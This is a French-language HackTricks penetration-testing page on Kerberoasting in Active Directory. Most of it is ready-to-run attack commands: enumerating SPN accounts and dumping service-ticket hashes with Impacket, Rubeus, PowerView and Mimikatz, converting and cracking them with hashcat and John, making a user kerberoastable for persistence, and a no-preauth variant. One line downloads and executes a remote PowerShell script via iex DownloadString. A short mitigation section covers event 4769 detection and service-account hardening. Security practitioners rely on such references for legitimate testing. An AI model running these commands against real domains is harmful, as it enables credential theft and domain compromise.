Kerberoast

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Kerberoast

Kerberoasting se concentre sur l'acquisition de TGS tickets, spécifiquement ceux liés aux services fonctionnant sous des comptes utilisateurs dans Active Directory (AD), excluant les comptes d'ordinateur. Le chiffrement de ces tickets utilise des clés provenant des mots de passe utilisateurs, permettant la possibilité de cracking de credentials hors ligne. L'utilisation d'un compte utilisateur en tant que service est indiquée par une propriété "ServicePrincipalName" non vide.

Pour exécuter Kerberoasting, un compte de domaine capable de demander des TGS tickets est essentiel ; cependant, ce processus ne nécessite pas de privilÚges spéciaux, le rendant accessible à quiconque ayant des credentials de domaine valides.

Points Clés :

  • Kerberoasting cible les TGS tickets pour les services de comptes utilisateurs au sein de AD.
  • Les tickets chiffrĂ©s avec des clĂ©s provenant des mots de passe utilisateurs peuvent ĂȘtre crackĂ©s hors ligne.
  • Un service est identifiĂ© par un ServicePrincipalName qui n'est pas nul.
  • Aucun privilĂšge spĂ©cial n'est nĂ©cessaire, juste des credentials de domaine valides.

Attaque

warning

Les outils de Kerberoasting demandent gĂ©nĂ©ralement RC4 encryption lors de l'exĂ©cution de l'attaque et de l'initiation des requĂȘtes TGS-REQ. Cela est dĂ» au fait que RC4 est plus faible et plus facile Ă  cracker hors ligne en utilisant des outils tels que Hashcat que d'autres algorithmes de chiffrement tels que AES-128 et AES-256.
Les hachages RC4 (type 23) commencent par $krb5tgs$23$* tandis que ceux d'AES-256 (type 18) commencent par $krb5tgs$18$*.`

Linux

bash
# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

Outils multi-fonction incluant un dump des utilisateurs kerberoastable :

bash
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

  • ÉnumĂ©rer les utilisateurs Kerberoastable
powershell
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • Technique 1 : Demander un TGS et l'extraire de la mĂ©moire
powershell
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • Technique 2 : Outils automatiques
bash
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

warning

Lorsqu'un TGS est demandé, l'événement Windows 4769 - A Kerberos service ticket was requested est généré.

Cracking

bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Persistance

Si vous avez suffisamment de permissions sur un utilisateur, vous pouvez le rendre kerberoastable :

bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

Vous pouvez trouver des outils utiles pour les attaques kerberoast ici : https://github.com/nidem/kerberoast

Si vous trouvez cette erreur sous Linux : Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great), c'est Ă  cause de votre heure locale, vous devez synchroniser l'hĂŽte avec le DC. Il existe quelques options :

  • ntpdate <IP du DC> - ObsolĂšte depuis Ubuntu 16.04
  • rdate -n <IP du DC>

Atténuation

Le kerberoasting peut ĂȘtre rĂ©alisĂ© avec un haut degrĂ© de discrĂ©tion s'il est exploitable. Pour dĂ©tecter cette activitĂ©, il convient de prĂȘter attention Ă  l'ID d'Ă©vĂ©nement de sĂ©curitĂ© 4769, qui indique qu'un ticket Kerberos a Ă©tĂ© demandĂ©. Cependant, en raison de la haute frĂ©quence de cet Ă©vĂ©nement, des filtres spĂ©cifiques doivent ĂȘtre appliquĂ©s pour isoler les activitĂ©s suspectes :

  • Le nom du service ne doit pas ĂȘtre krbtgt, car il s'agit d'une demande normale.
  • Les noms de service se terminant par $ doivent ĂȘtre exclus pour Ă©viter d'inclure des comptes machines utilisĂ©s pour des services.
  • Les demandes provenant de machines doivent ĂȘtre filtrĂ©es en excluant les noms de compte formatĂ©s comme machine@domain.
  • Seules les demandes de ticket rĂ©ussies doivent ĂȘtre prises en compte, identifiĂ©es par un code d'Ă©chec de '0x0'.
  • Surtout, le type de cryptage du ticket doit ĂȘtre 0x17, qui est souvent utilisĂ© dans les attaques de kerberoasting.
bash
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

Pour atténuer le risque de Kerberoasting :

  • Assurez-vous que les mots de passe des comptes de service sont difficiles Ă  deviner, en recommandant une longueur de plus de 25 caractĂšres.
  • Utilisez des comptes de service gĂ©rĂ©s, qui offrent des avantages tels que des changements de mot de passe automatiques et la gestion dĂ©lĂ©guĂ©e des noms de principal de service (SPN), renforçant la sĂ©curitĂ© contre de telles attaques.

En mettant en Ɠuvre ces mesures, les organisations peuvent rĂ©duire considĂ©rablement le risque associĂ© au Kerberoasting.

Kerberoast sans compte de domaine

En septembre 2022, un nouveau moyen d'exploiter un systĂšme a Ă©tĂ© mis en lumiĂšre par un chercheur nommĂ© Charlie Clark, partagĂ© via sa plateforme exploit.ph. Cette mĂ©thode permet l'acquisition de tickets de service (ST) via une requĂȘte KRB_AS_REQ, qui ne nĂ©cessite remarquablement pas de contrĂŽle sur un compte Active Directory. Essentiellement, si un principal est configurĂ© de maniĂšre Ă  ne pas nĂ©cessiter de prĂ©-authentification—un scĂ©nario similaire Ă  ce qui est connu dans le domaine de la cybersĂ©curitĂ© comme une attaque AS-REP Roasting—cette caractĂ©ristique peut ĂȘtre exploitĂ©e pour manipuler le processus de requĂȘte. Plus prĂ©cisĂ©ment, en modifiant l'attribut sname dans le corps de la requĂȘte, le systĂšme est trompĂ© pour Ă©mettre un ST plutĂŽt que le Ticket Granting Ticket (TGT) chiffrĂ© standard.

La technique est entiÚrement expliquée dans cet article : Semperis blog post.

warning

Vous devez fournir une liste d'utilisateurs car nous n'avons pas de compte valide pour interroger l'LDAP en utilisant cette technique.

Linux

bash
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

Windows

bash
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks